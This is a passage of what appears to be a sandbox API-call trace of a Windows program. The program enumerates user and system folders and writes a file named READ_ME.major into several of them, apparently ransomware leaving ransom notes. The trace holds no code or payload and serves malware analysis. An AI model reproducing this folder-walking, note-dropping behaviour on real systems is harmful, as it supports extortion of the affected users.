ftLastAccessTime.dwLowDateTime=0xa4ade3, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x1512cd5c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x60ea68 [0144.721] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7960 | out: hHeap=0x570000) returned 1 [0144.721] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7690 [0144.721] GetLastError () returned 0x12 [0144.721] SetLastError (dwErrCode=0x12) [0144.721] GetLastError () returned 0x12 [0144.721] SetLastError (dwErrCode=0x12) [0144.721] GetLastError () returned 0x12 [0144.721] SetLastError (dwErrCode=0x12) [0144.721] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ebd8 [0144.722] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bedc0 [0144.722] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bedc0 | out: hHeap=0x570000) returned 1 [0144.722] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccbe8 [0144.722] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x60eea8 [0144.722] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60eea8 | out: hHeap=0x570000) returned 1 [0144.722] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40630 [0144.722] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40630 | out: hHeap=0x570000) returned 1 [0144.722] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccbe8 | out: hHeap=0x570000) returned 1 [0144.722] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ebd8 | out: hHeap=0x570000) returned 1 [0144.722] FindNextFileW (in: hFindFile=0x60ea68, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa4ade3, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xa4ade3, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x1512cd5c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0144.722] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7690 | out: hHeap=0x570000) returned 1 [0144.722] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c76d8 [0144.722] GetLastError () returned 0x12 [0144.722] SetLastError (dwErrCode=0x12) [0144.722] GetLastError () returned 0x12 [0144.722] SetLastError (dwErrCode=0x12) [0144.722] GetLastError () returned 0x12 [0144.722] SetLastError (dwErrCode=0x12) [0144.722] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58eeb0 [0144.722] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bf028 [0144.722] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf028 | out: hHeap=0x570000) returned 1 [0144.722] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc800 [0144.722] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x60efa8 [0144.722] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60efa8 | out: hHeap=0x570000) returned 1 [0144.722] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40420 [0144.722] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40420 | out: hHeap=0x570000) returned 1 [0144.722] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc800 | out: hHeap=0x570000) returned 1 [0144.722] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eeb0 | out: hHeap=0x570000) returned 1 [0144.722] FindNextFileW (in: hFindFile=0x60ea68, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa4ade3, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd6790700, ftLastAccessTime.dwHighDateTime=0x1d50248, ftLastWriteTime.dwLowDateTime=0xd6790700, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Logs", cAlternateFileName="")) returned 1 [0144.722] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c76d8 | out: hHeap=0x570000) returned 1 [0144.723] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c72e8 [0144.723] GetLastError () returned 0x12 [0144.723] SetLastError (dwErrCode=0x12) [0144.723] GetLastError () returned 0x12 [0144.723] SetLastError (dwErrCode=0x12) [0144.723] GetLastError () returned 0x12 [0144.723] SetLastError (dwErrCode=0x12) [0144.723] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7600 [0144.723] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc800 [0144.723] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7330 [0144.723] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d430 [0144.723] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d320 [0144.723] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0144.723] GetLastError () returned 0x12 [0144.723] SetLastError (dwErrCode=0x12) [0144.723] GetLastError () returned 0x12 [0144.723] SetLastError (dwErrCode=0x12) [0144.723] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7498 [0144.723] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0144.723] GetLastError () returned 0x12 [0144.723] SetLastError (dwErrCode=0x12) [0144.723] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6570 [0144.723] CreateFileW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\READ_ME.major" (normalized: "c:\\users\\all users\\usoshared\\logs\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5cc [0144.724] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6570 | out: hHeap=0x570000) returned 1 [0144.724] WriteFile (in: hFile=0x5cc, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0144.725] CloseHandle (hObject=0x5cc) returned 1 [0144.725] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7498 | out: hHeap=0x570000) returned 1 [0144.725] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d320 | out: hHeap=0x570000) returned 1 [0144.725] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d430 | out: hHeap=0x570000) returned 1 [0144.725] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7330 | out: hHeap=0x570000) returned 1 [0144.725] FindNextFileW (in: hFindFile=0x60ea68, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1512cd5c, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x1512cd5c, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x1512cd5c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0144.725] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c72e8 | out: hHeap=0x570000) returned 1 [0144.725] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c76d8 [0144.725] GetLastError () returned 0x0 [0144.725] SetLastError (dwErrCode=0x0) [0144.725] GetLastError () returned 0x0 [0144.725] SetLastError (dwErrCode=0x0) [0144.725] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0144.725] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c76d8 | out: hHeap=0x570000) returned 1 [0144.725] GetLastError () returned 0x0 [0144.725] SetLastError (dwErrCode=0x0) [0144.725] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc8c8 [0144.725] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc8c8 | out: hHeap=0x570000) returned 1 [0144.725] FindNextFileW (in: hFindFile=0x60ea68, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1512cd5c, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x1512cd5c, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x1512cd5c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0144.725] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6640 [0144.725] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7018 | out: hHeap=0x570000) returned 1 [0144.725] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6508 | out: hHeap=0x570000) returned 1 [0144.725] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccc60 | out: hHeap=0x570000) returned 1 [0144.725] FindFirstFileW (in: lpFileName="\\Users\\All Users\\WindowsHolographicDevices\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc32c07ca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1525e1c9, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x60eea8 [0144.726] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0144.726] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7408 [0144.726] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7168 [0144.726] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7408 | out: hHeap=0x570000) returned 1 [0144.726] GetLastError () returned 0x12 [0144.726] SetLastError (dwErrCode=0x12) [0144.726] GetLastError () returned 0x12 [0144.726] SetLastError (dwErrCode=0x12) [0144.726] GetLastError () returned 0x12 [0144.726] SetLastError (dwErrCode=0x12) [0144.726] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ea50 [0144.726] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bedc0 [0144.726] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bedc0 | out: hHeap=0x570000) returned 1 [0144.726] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc850 [0144.726] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x60e8a8 [0144.726] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60e8a8 | out: hHeap=0x570000) returned 1 [0144.726] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e403f0 [0144.726] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e403f0 | out: hHeap=0x570000) returned 1 [0144.726] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc850 | out: hHeap=0x570000) returned 1 [0144.726] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ea50 | out: hHeap=0x570000) returned 1 [0144.726] FindNextFileW (in: hFindFile=0x60eea8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc32c07ca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1525e1c9, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0144.726] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7168 | out: hHeap=0x570000) returned 1 [0144.726] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7570 [0144.726] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6ca0 [0144.726] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7570 | out: hHeap=0x570000) returned 1 [0144.726] GetLastError () returned 0x12 [0144.726] SetLastError (dwErrCode=0x12) [0144.726] GetLastError () returned 0x12 [0144.726] SetLastError (dwErrCode=0x12) [0144.726] GetLastError () returned 0x12 [0144.727] SetLastError (dwErrCode=0x12) [0144.727] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ed28 [0144.727] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bedc0 [0144.727] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bedc0 | out: hHeap=0x570000) returned 1 [0144.727] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccbe8 [0144.727] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x60eba8 [0144.727] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60eba8 | out: hHeap=0x570000) returned 1 [0144.727] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40408 [0144.727] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40408 | out: hHeap=0x570000) returned 1 [0144.727] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccbe8 | out: hHeap=0x570000) returned 1 [0144.727] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ed28 | out: hHeap=0x570000) returned 1 [0144.727] FindNextFileW (in: hFindFile=0x60eea8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1525e1c9, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x1525e1c9, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x1525e1c9, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0144.727] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6ca0 | out: hHeap=0x570000) returned 1 [0144.727] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0144.727] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b79e8 [0144.727] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0144.727] GetLastError () returned 0x12 [0144.727] SetLastError (dwErrCode=0x12) [0144.727] GetLastError () returned 0x12 [0144.727] SetLastError (dwErrCode=0x12) [0144.727] GetLastError () returned 0x12 [0144.727] SetLastError (dwErrCode=0x12) [0144.727] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc828 [0144.727] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc828 | out: hHeap=0x570000) returned 1 [0144.727] FindNextFileW (in: hFindFile=0x60eea8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6dc3522, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc32c147a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6dc3522, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="SpatialStore", cAlternateFileName="SPATIA~1")) returned 1 [0144.727] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b79e8 | out: hHeap=0x570000) returned 1 [0144.727] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c74e0 [0144.727] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b71f0 [0144.727] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c74e0 | out: hHeap=0x570000) returned 1 [0144.727] GetLastError () returned 0x12 [0144.727] SetLastError (dwErrCode=0x12) [0144.728] GetLastError () returned 0x12 [0144.728] SetLastError (dwErrCode=0x12) [0144.728] GetLastError () returned 0x12 [0144.728] SetLastError (dwErrCode=0x12) [0144.728] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc850 [0144.728] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc828 [0144.728] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc850 | out: hHeap=0x570000) returned 1 [0144.728] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc828 | out: hHeap=0x570000) returned 1 [0144.728] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdda8 [0144.728] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc9b8 [0144.728] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdad8 [0144.728] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d430 [0144.728] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d320 [0144.728] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c71c8 [0144.728] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7498 [0144.728] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c71c8 | out: hHeap=0x570000) returned 1 [0144.728] GetLastError () returned 0x12 [0144.728] SetLastError (dwErrCode=0x12) [0144.728] GetLastError () returned 0x12 [0144.728] SetLastError (dwErrCode=0x12) [0144.728] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d00e8 [0144.728] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7498 | out: hHeap=0x570000) returned 1 [0144.728] GetLastError () returned 0x12 [0144.728] SetLastError (dwErrCode=0x12) [0144.728] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5bf3d8 [0144.728] CreateFileW (lpFileName="\\Users\\All Users\\WindowsHolographicDevices\\SpatialStore\\READ_ME.major" (normalized: "c:\\users\\all users\\windowsholographicdevices\\spatialstore\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5d0 [0144.729] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0144.729] WriteFile (in: hFile=0x5d0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0144.730] CloseHandle (hObject=0x5d0) returned 1 [0144.731] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d00e8 | out: hHeap=0x570000) returned 1 [0144.731] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d320 | out: hHeap=0x570000) returned 1 [0144.731] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d430 | out: hHeap=0x570000) returned 1 [0144.731] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdad8 | out: hHeap=0x570000) returned 1 [0144.731] FindNextFileW (in: hFindFile=0x60eea8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6dc3522, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc32c147a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6dc3522, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="SpatialStore", cAlternateFileName="SPATIA~1")) returned 0 [0144.731] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bedc0 [0144.731] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6640 | out: hHeap=0x570000) returned 1 [0144.731] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c77b0 | out: hHeap=0x570000) returned 1 [0144.731] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cca08 | out: hHeap=0x570000) returned 1 [0144.731] FindFirstFileW (in: lpFileName="\\Users\\Default.migrated\\AppData\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x7205420a, ftLastAccessTime.dwHighDateTime=0x1d32720, ftLastWriteTime.dwLowDateTime=0x1525e1c9, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x60ef28 [0144.731] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b71f0 | out: hHeap=0x570000) returned 1 [0144.731] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7888 [0144.731] GetLastError () returned 0x12 [0144.731] SetLastError (dwErrCode=0x12) [0144.731] GetLastError () returned 0x12 [0144.731] SetLastError (dwErrCode=0x12) [0144.731] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0144.731] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7888 | out: hHeap=0x570000) returned 1 [0144.731] GetLastError () returned 0x12 [0144.731] SetLastError (dwErrCode=0x12) [0144.731] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ea50 [0144.731] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bee70 [0144.731] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bee70 | out: hHeap=0x570000) returned 1 [0144.731] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc878 [0144.731] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x60efa8 [0144.732] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60efa8 | out: hHeap=0x570000) returned 1 [0144.732] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e405d0 [0144.732] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e405d0 | out: hHeap=0x570000) returned 1 [0144.732] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc878 | out: hHeap=0x570000) returned 1 [0144.732] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ea50 | out: hHeap=0x570000) returned 1 [0144.732] FindNextFileW (in: hFindFile=0x60ef28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x7205420a, ftLastAccessTime.dwHighDateTime=0x1d32720, ftLastWriteTime.dwLowDateTime=0x1525e1c9, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0144.732] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0144.732] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c72a0 [0144.732] GetLastError () returned 0x12 [0144.732] SetLastError (dwErrCode=0x12) [0144.732] GetLastError () returned 0x12 [0144.732] SetLastError (dwErrCode=0x12) [0144.732] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0144.732] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c72a0 | out: hHeap=0x570000) returned 1 [0144.732] GetLastError () returned 0x12 [0144.732] SetLastError (dwErrCode=0x12) [0144.732] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ed28 [0144.732] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bf028 [0144.732] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf028 | out: hHeap=0x570000) returned 1 [0144.732] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc9e0 [0144.732] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x60eaa8 [0144.732] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60eaa8 | out: hHeap=0x570000) returned 1 [0144.732] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40630 [0144.732] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40630 | out: hHeap=0x570000) returned 1 [0144.732] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc9e0 | out: hHeap=0x570000) returned 1 [0144.732] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ed28 | out: hHeap=0x570000) returned 1 [0144.732] FindNextFileW (in: hFindFile=0x60ef28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x7202dfa5, ftLastAccessTime.dwHighDateTime=0x1d32720, ftLastWriteTime.dwLowDateTime=0x7202dfa5, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Local", cAlternateFileName="")) returned 1 [0144.732] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0144.732] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7330 [0144.732] GetLastError () returned 0x12 [0144.732] SetLastError (dwErrCode=0x12) [0144.733] GetLastError () returned 0x12 [0144.733] SetLastError (dwErrCode=0x12) [0144.733] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0144.733] HeapFree (in: hHeap=0x570000, dwFlags=0x0, 